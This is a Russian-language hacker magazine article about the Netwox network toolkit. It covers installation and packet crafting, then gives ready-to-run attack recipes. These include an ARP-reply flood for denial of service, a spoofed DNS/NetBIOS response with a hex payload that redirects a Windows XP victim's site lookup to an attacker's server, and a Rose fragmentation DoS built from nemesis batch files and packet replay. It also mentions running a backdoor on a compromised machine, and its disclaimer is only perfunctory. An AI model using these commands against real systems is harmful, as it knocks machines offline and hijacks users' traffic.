И ещё одна мегастарая статья от меня для будущих поколений. --[ Мегакухонный комбайн: Использование программы Netwox ]-- by ShadOS /* Вступление */ Да здравствует революция, Друзья мои! Ты все еще пользуешься толпой брутфорсеров, целой сворой снифферов, спуферов, генераторов пакетов и почти джентльменским набором сетевых клиентов?! О, Великий Хацкер, да прибудет с тобой Святой Коннектий и голова на плечах – ты отстал от жизни как Win 95 на старой тачке в моем универе. Оставь это недостойное занятие и смело удаляй всю пачку программ, которыми ты привык пользоваться, занимаясь своими черными делишками, ну или, по крайней мере, готовься всегда иметь под рукой универсальный набор сетевого партизана, с которым ты не сможешь расстаться никогда. Итак (звучат фанфары) имя этому чуду творения программерских рук – Netwox. /* Как все начиналось */ Так что же такое Netwox и почему я развел такой пиар вокруг него? Впервые об этой утилите я узнал от знакомого админа, компетентность и опыт которого всегда производили на меня впечатление, но имя его я не решусь назвать - зазнается. Netwox он таскал постоянно и неразлучно при себе на USB-flash брелке, причем в трех разных версия, т.к от версии к версии набор утилит, входящих в состав его дистрибутива сильно менялся, причем, иногда не в худшую сторону. Ну и, естественно, прознав про столь чудную вещь, я одолжил у него программу и начал ее юзать на всю катушку, хотя и чуть ли не клялся, что никому ее не дам и не напишу о ней статью. Обещание это, как ты, мой дорогой читатель, видишь, я нарушил. Так я и не совсем понял, почему мой знакомый очень не хотел чтобы широкие массы узнали про Netwox, ведь это не какой-нибудь приватный сплоит или бекдор, но все же основания у него на то были. В прямых руках эта программа превращается в многофункциональный/универсальный/ювелирный/убойный(нужное подчеркнуть) инструмент, полезный как системному администратору, так и профессиональному хакеру или специалисту по информационной безопасности, в противном случае – инструмент ламерского деструктива, флуда и тупого развлечения скрипт-киддисов. /* Проясняем ситуацию */ На самом деле Netwox – не отдельная утилита, как ты, надеюсь, уже догадался, а целый набор программ среди которых: - sniff, spoof; - различные клиенты и серверы - DNS, FTP, HTTP, IRC, NNTP, SMTP, SNMP, SYSLOG, TELNET, TFTP, IDENT, DHCP; - scan, ping, traceroute, whois; - кофеварка. Да, да - кофе он тоже варит, и я обязательно тебе расскажу как, если ты дочитаешь до конца =) Название этого кухонного комбайна происходит, как это не тривиально, от сокращения Network Toolbox, собственно, символ у этой программы соответствующий – ящик слесарных инструментов. Последняя версия программы на момент написания статьи остановилась на отметке 5.33.0, в состав которой входило 221 инструмент. Впечатляет? Но и это еще не все. Netwox поддерживается на FreeBSD, Linux, OpenBSD, NetBSD, Solaris, HP-UX, ну и, безусловно, Windows всех версий. В том числе и на Win 95 на старой тачке в моем универе =). Кроме того, программа распространяется под GPL лицензией и тебе не стоит объяснять, что собрать ты ее сможешь где угодно при условии наличия определенного драйвера прямых рук. Если капать глубже, то можно сказать, что netwox – это единица комплексного проекта, который состоит из 3 частей: - netwib (lcrzo); - netwox (lcrzoex); - netwag (RzoBox). Кстати, нумерация версий всех трех вышеназванных частей одинакова ввиду их неотъемлемости. Что такое netwox, я думаю, немного прояснил, а теперь поподробнее об остальных составляющих. /* Netwib */ Netwib - это сетевая библиотека, ориентированная в основном на разработчиков, которая обеспечивает сетевые функции преобразования адреса, кодирования/расшифровки/печати пакетов, их спуффинг и сниффинг, реальные и виртуальные UDP/TCP клиенты и серверы, преобразование данных, цепочечные списки и взаимодействие между процессами. Netwib зависит от libpcap (http://www.tcpdump.org/) под unix-подобные и WinPcap (http://www.winpcap.org/) под Windows соответственно. /* Netwag */ А это достаточно приятное дополнение к тому интерактивному меню консольной оболочки Netwox, которое мне совсем не кажется удобным. И хоть вы запинаете меня ногами, но применительно к Netwox консоль не рулит, не совместимы они в принципе – и поймешь ты это после первых же минут работы. Хотя о вкусах и не спорят, но все же… Короче, Netwag - графическая оболочка для netwox, написанная на языке Tcl/Tc и в дополнение к возможностям консоли netwox, она позволяет легко: - производить поиск среди инструментов, представленных в netwox; - запуск инструмента в новом окне, или в текстовой зоне; - хранить историю команд; - использовать обмен данными, используя два объединенных буфера обмена. Настоятельно рекомендую обзавестись этой радостью по вышеназванным причинам. /* Установка */ Ну что же, пришло время потрогать все вышеназванное, а для этого необходимо все установить. Сделать это проще простого – тяни из сети полный установочный пакет с адреса http://www.laurentconstantin.com/common/netw/download/v5/netw-ib-ox-ag-5.33.0.tgz Внутри него ты обнаружишь несколько папок с сырцами и документацией, а также два установочных файла – installwindows.exe и installunix.sh, о назначении которых трудно не догадаться (а может и не трудно догадаться, честно говоря я хз =)). Если же ты приверженец в консоли все делать руками, то твои действия сводятся к банальному повторению следующих действий для каждой из частей: # cd src/netw*-src/src # ./genemake # make # su root # make install # cd ../../../ Во время установки с помощью скрипта под Linux, netwox молчал, как партизан на допросе, об отсутствии пакета libnet (располагается по адресу http://www.packetfactory.net/libnet/), однако, это коренным образом влияет на его работоспособность, а именно на возможность конструировать и спуфить пакеты, посему настоятельно рекомендую его слить, а также, если я все таки убедил тебя использовать графический front-end, поставить Tcl/Tk, которой сливается с http://www.tcl.tk/software/tcltk/ и http://www.activestate.com/Products/ActiveTcl/ для unix-like и windows соответственно. Ну а с инсталлером под Windows у тебя проблем не должно возникнуть… /* Что же мы умеем? */ Я искренне верю, что установка прошла под твоим чутким руководством без особых проблем - в противном случае советую обратиться к документации, коей предостаточно хранится в составе установочного пакета. RTFM еще никому не вредило. Тем же, кто остался, я попытаюсь показать самые вкусные фишки и самые интересные приемы работы, которые можно творить и проворачивать с Netwox. Пожалуй, признаюсь тебе честно – люблю я этот пакет даже не столько за обилие предоставляемых им утилит, с которыми ты сможешь разобраться в два счета, сколько за отменные возможности генерации и спуфинга пакетами различных протоколов. Вот, например, вопрос на засыпку – как сгенерировать IPv6 TCP-пакет и отправить его в сеть? Безусловно, скажешь ты, нафик оно тебе надо? Однако спешу напомнить, что протокол IPv4 доживает свой век ввиду его ограниченности, а посему недалеки времена поголовного применения IPv6, так почему бы не поиграться при возможности с этим сейчас? Кроме того, эрудиция в нашем деле стоит не на последнем месте. Но не будем уходить в философские размышления. Итак, у тебя есть два пути: пользоваться консольной навигацией по утилитам или же использовать продвинутый графический интерфейс. Первый ты можешь увидеть, вбив в консоли netwox. Второй – соответственно напечатав netwag. Если ты пользовался автоматической установкой под ОС Windows, в главном меню есть ярлыки на обе эти утилиты. О недостатке навигации в консольной версии netwox можно сказать так: «очень просто заблудиться в трех соснах». Собственно, вся навигация сводится к следующему: для нахождения какой-либо требуемой возможности необходимо пройтись по интересующему иерархическому дереву до утилиты, а затем запустить ее или в интерактивном режиме ввода параметров (клавиша «k»), либо задав их все сразу (клавиша «r»). Второй вариант работы в консоли предназначен для тех, кто точно знает что ищет: тебе необходимо просто вбить netwox <номер утилиты> [список параметров]. Графический же интерфейс позволяет все это проделывать на вкладке «Search», после двойного клика на ссылку во вкладке Form задаются необходимые параметры (нужные отмечаются галочой), жмахаем «Generate», затем «Run It» и смотрим на результат. Итак, вернемся к IPv6 TCP-пакету. Сгенерировать его проще пареной репы: # netwox 142 --device "Eth0" --eth-src "00:11:22:33:44:55" --eth-dst "0:8:9:a:b:c" --ip6-src "fec0:0:0:1::1" --ip6-dst "fec0:0:0:1::2" --tcp-src "1235" --tcp-dst "80" --tcp-syn Поясняю: 142 – номер утилиты Spoof EthernetIp6Tcp, --device – используемая сетевая плата, --eth-src и --eth-dst – Ethernet адрес отправителя и получателя соответственно, --ip6-src – IPv6 адрес отправителя, --ip6-dst – получателя, --tcp-src и –dst порты, --tcp-syn – установленные флаги. Точно таким образом можно заспуфить IPv4 TCP пакет – единственное различие - ip-адреса будут в привычном нам четырехбайтовом представлении и номер утилиты будет уже не 142, а 34 - Spoof EthernetIp4 packet. /* ARP-spoofing */ Ну вот, а теперь, познав базовые принципы работы с netwox, перейдем к основной части нашего занятия и попробуем сотворить что-нибудь несложное в понимании, но более применимое к суровой действительности: например, загрузим ARP-кеш недоброжелателя запросами. Так, в частности, поступают некоторые DoS’еры. Делается это так. С помощью утилиты 33 «Display information about an IP address or a hostname», узнаем его (атакуемого) Ethernet-адрес. Далее, с помощью утилиты 80 «Periodically send ARP replies», начнем отправлять запросы вот так: netwox 80 --eth 00:11:2F:95:42:F1 --ip 192.168.0.1 --device "Eth0" --eth-dst 0:8:9:a:b:c --ip-dst 192.168.1.17 --sleep 500 Первая группа адресов представляют собой те адреса, которые следует сделать недоступным для второй группы. Ну и --sleep 500 - время задержки в миллисекундах между повторениями. Думаю здесь не должно быть ничего непонятного. /* DNS-spoofing */ Займемся делами посерьезнее и попробуем подсунуть на тачку под управлением Windows XP подмененный ответ DNS сервера. Пусть на этом компьютере нет никаких брандмауэров, кроме стандартного Microsoft Internet Connection Firewall, сконфигурированный на логирование всех dropped-пакетов и успешных подключений. Пользователь, пытаясь зайти на некоторый web-сайт, URL которого www.somewebsite.org, вбивает адрес в Internet Explorer. В результате этого DNS-запрос посылается с порта 1026 тачки пользователя (допустим ее IP-адрес будет 192.168.1.1) на 53 порт DNS сервера с IP-адресом 192.168.1.254. В это время заспуфенный DNS-ответ, в виде NetBIOS-данных посылается с фейкового IP-адреса 10.10.10.1 злым дядей Пупкиным, сообщая машине атакуемого, что адрес web-сервера - 192.168.1.77. IP-адрес 192.168.1.77 в действительности находится под контролем все того же злого дядьки, причем на главной странице он написал нехорошее слово из трех букв =) Посмотрим, как выглядел бы этот NetBIOS-пакет, отловленный Ethereal’ом: Frame 1 (102 bytes on wire, 102 bytes captured) Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25 Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr: 192.168.1.1 (192.168.1.1) User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026) Source port: 137 (137) Destination port: 1026 (1026) Length: 68 Checksum: 0x0000 (none) NetBIOS Name Service Transaction ID: 0x0003 Flags: 0x8580 (Name query response, No error) Questions: 0 Answer RRs: 1 Authority RRs: 0 Additional RRs: 0 Answers WORKGROUP<1b>: type unknown, class inet Name: WORKGROUP<1b> Type: unknown Class: inet Time to live: 1 day Data length: 4 Data 0000 00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00 ..).}%.PV.....E. 0010 00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8 .X.X....%....... 0020 01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00 .......D........ 0030 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 ...... FHEPFCELE 0040 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 HFCEPFFFACACACAC 0050 41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80 ACACABL.......Q. 0060 00 04 c0 a8 01 4d .....M Естественно, в качестве сниффера можно было бы использовать утилиту из состава Netwox, однако это у меня не вышло: в процессе написания статьи я обнаружил досадный и очень странный баг – на параметр --filter – netwox ругался, поясняя, что IP-адрес не является булевым полем. Ну да бог с ним с Васей =) Посмотрим лучше, как можно такой пакет создать. Это очень просто сделать с помощью все того же любимого мной netwox: netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17 --ip4-data 008904020044000000038580000000010000000020464845504643454c45484 643455046464641434143414341434143414341424c0000010001000151800004c0a8014d Непонятным остается только параметр --ip4-data и --ip4-protocol. Назначение первого параметра достаточно легко уяснить из RFC по DNS - в данных находится возвращаемый на DNS-запрос IP-адрес 192.168.1.77. Параметр --ip4-protocol 17 означает, что Пупкин конструирует UDP-пакет. Второй способ конструирования такого пакета кажется мне еще более удобным. Для это воспользуемся утилитой 39, которая автоматически подсчитает контрольную сумму пакета: netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137 --udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484 643455046464641434143414341434143414341424c0000010001000151800004c0a8014d Что же мы с этого получим? Если бы несчастный атакуемый посмотрел в данный момент Кеш DNS-запросов на период в один день, отравленным злым Пупкиным, он бы увидел там вот что: C:\>ipconfig /displaydns Windows IP Configuration 1.0.0.127.in-addr.arpa ---------------------------------------- Record Name . . . . . : 1.0.0.127.in-addr.arpa. Record Type . . . . . : 12 Time To Live . . . . : 604393 Data Length . . . . . : 4 Section . . . . . . . : Answer PTR Record . . . . . : localhost www.somewebsite.org ---------------------------------------- Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL Record Type . . . . . : 1 Time To Live . . . . : 86364 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 192.168.1.77 localhost ---------------------------------------- Record Name . . . . . : localhost Record Type . . . . . : 1 Time To Live . . . . : 604393 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 127.0.0.1 Такая вот печальная ситуация. Естественно, данный пример сугубо теоретический и не стоит применять его на практике, ибо сие деяние не особо приветствуется нашими доблестными государственными органами, тем более что для проведения такой атаки необходимо угадать номер UDP-порта и ID транзакции, хотя это и не столь проблематично. Помимо того, такой пакет придется сгенерировать не один, а минимум десяток, а то и сотни, чтобы подменить этот злосчастный URL. Но моей целью не стоит подробное обсуждение этого метода атаки, подробнее о нем ты можешь узнать из электронного журнала Phrack №62 статьи «Mistakes in the RFC Guidelines on DNS Spoofing Attacks».
/* Rose Fragmentation Attack */ Последний пример я объясню на основе способа осуществления атаки Rose Fragmentation, метод и технологию которой подробно осветил хакер под ником Gendalf. Так как мое место в журнале ограниченно, подробно почитать об этом стоит здесь: http://digital.net/~gandalf/Rose_Frag_Attack_Explained.txt. В дополнение к netwox, нам понадобится не менее полезная утилита nemesis (http://www.packetfactory.net/projects/nemesis/). Поставь его для определенности, в корень диска C:\. Условимся в следующем: Пусть A – компьютер атакующего, B – атакуемый компьютер под управлением Windwos 2000 со всеми сервис-паками, его IP-адрес, например, будет 10.32.3.15, С – некий сторонний компьютер. Далее сохраним файлы Picmpdata.txt Ptcpdata.txt и Pudpdata.txt, которые Gendalf специально скорректировал для создания подходящих фрагментированных пакетов. Найти эти файлы для всех протоколов можно по адресам http://digital.net/~gandalf/Ptcpdata.txt http://digital.net/~gandalf/Pudpdata.txt http://digital.net/~gandalf/Picmpdata.txt. Также нам понадобится файл nemITUrnd.xls (http://digital.net/~gandalf/nemITUrnd.xls). Его следует отредктировать - выделяй в нем строки и опускайся до тех пор, пока не получим 700 строк, далее сохраняем под именем temp.csv - MS-DOS Comma Separated Text. Затем переименуем его в temp.txt и откроем. В нем ты увидишь следующие строки: nemesis icmp -S 10.,3,.,64,.,121, -D 10.32.3.15 -d1 -i 8 -I ,7242, -P Picmpdata.txt -FM0,~,nemesis ip -S 10.,3,.,64,.,121, -D 10.32.3.15 -d1 -I ,7242, -p 1 -P Picmpdata.txt -F8100,~,nemesis tcp -S 10.,196,.,212,.,207, -D 10.32.3.15 -d1 -I ,2153, -s ,2494456820, -x ,36961, -y ,63398, -P Ptcpdata.txt -FM0,~,nemesis ip -S 10.,196,.,212,.,207, -D 10.32.3.15 -d1 -I ,2153, -p 6 -P Ptcpdata.txt -F8100,~,nemesis udp -S 10.,195,.,74,.,172, -D 10.32.3.15 -d1 -I ,6316, -x ,13253, -y ,20460, -P Pudpdata.txt -FM0,~,nemesis ip -S 10.,195,.,74,.,172, -D 10.32.3.15 -d1 -I ,6316, -p 17 -P Pudpdata.txt -F8100 Тебе следует заменить символ тильды “~” везде на знак новой строки, затем сохранить полученное и заменить “,” на пробелы, сохранить и выйти. Полученный файл переименовываем в temp.bat и помещаем в папку с Nemesis. Затем воспользуемся сниффером, входящим в состав netwox под счастливым номером 7 для сбора случайных пакетов, которые нам понадобятся для отправки Nemesis’ом: netwox 7 --outfile "nemesispingbig.txt" --recordencode "hexa" --filter "host 10.32.3.15" В данном случае все собранные пакеты, уходящие на IP-адрес 10.32.3.15 будут записаны в шеснадцатиричном виде в файл nemesispingbig.txt. Далее откроем командную строку и наберем: C:\nemesis>temp.bat Оставив nemesis работающим в течение нескольких часов, мы получим около 35000 пакетов. Если скорость канала компьютера A достаточно велика, фрагментированные ICMP-запросы с компьютера С покажут, что компьютер не отвечает (ping Request Time Out). По окончанию работы nemesis, компьютер B снова подаст признаки жизни. Теперь попробуем устроить DoS другим методом – отправим все эти пакеты разом с помощью утилиты netwox 14 - Spoof a record: netwox 14 -s –file nemesispingbig.txt. Что же мы получим теперь, выполнив ping -t -l 1600 10.32.3.15? Атакуемый компьютер будет находиться в дауне на протяжении не менее 2-3 минут. /* Вместо заключения */ Так что же мы имеем? Не стоит опошлять смысл слова, ведь в действительности данная программа в руках деструктора может превратиться в страшное оружие, хотя и была изначально создана как утилита для администраторов и их потребностей в тестировании маршрутизаторов, сететей и т.п, а не как набор хакерских утилит. Пользуйся netwox с умом и не применяй его в злых целях – больше позитива, Друг Мой. И напоследок хочу заметить, что в своей статье по большей части я использовал только утилиты netwox из класса спуферов и конструкторов пакетов, но это лишь малая часть из всего их многообразия, ведь с помощью netwox можно даже запустить бэкдор на порутанной тачке, стоит лишь найти утилиту TCP-сервер или даже HTTP сервер удаленного администрирования, а может поднять временный FTP или SMTP сервер. Однако по сложившейся традиции, оставлю их изучение тебе: в них нет ничего сложного. Ах, да! Помнится, обещал рассказать тебе, как с помощью netwox сварить кофе. Думаешь невозможно и это очередная шутка? Ан нет! Laurent Constantin, создатель программы, решил что и эту возможность стоит добавить – запускай netwox 190 и через несколько секунд твой кофе будет готов. Вот это позитив! P.S: Автоматизация процесса Естественно, иногда приходится автоматизировать процесс работы с некоторыми программами. Если ты пользуешься *nix-like системой – с тобой все понятно: perl или bash-скрипты спасут мир. А что же делать пользователям Windows? Можно, безусловно, писать пакетные bat-файлы, но это решение не есть хорошо =) Ты ведь поставил TCL для front-end оболочки netwag? – вот и используй все его возможности на всю катушку и по назначению. Пусть нам требуется узнать информацию (Ethernet-адрес и имена) о каждом хосте из подсети 192.168.0.* - пишем простенький TCL-скрипт: #!/usr/bin/wish for {set i 0} {$i < 255} {incr i} { puts "\nTesting $i" set ipad "192.168.0.$i" if [catch {exec netwox 3 $ipad} data] { puts "Error during exec : $data" } else { puts $data } } exit И не надо нам никаких извращений. Автор: ShadOS Email: ShadOS [at] real [d0t] xakep [d0t] ru http://hellknights.void.ru/ -•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•- (c) Hell Knights Crew //ShadOS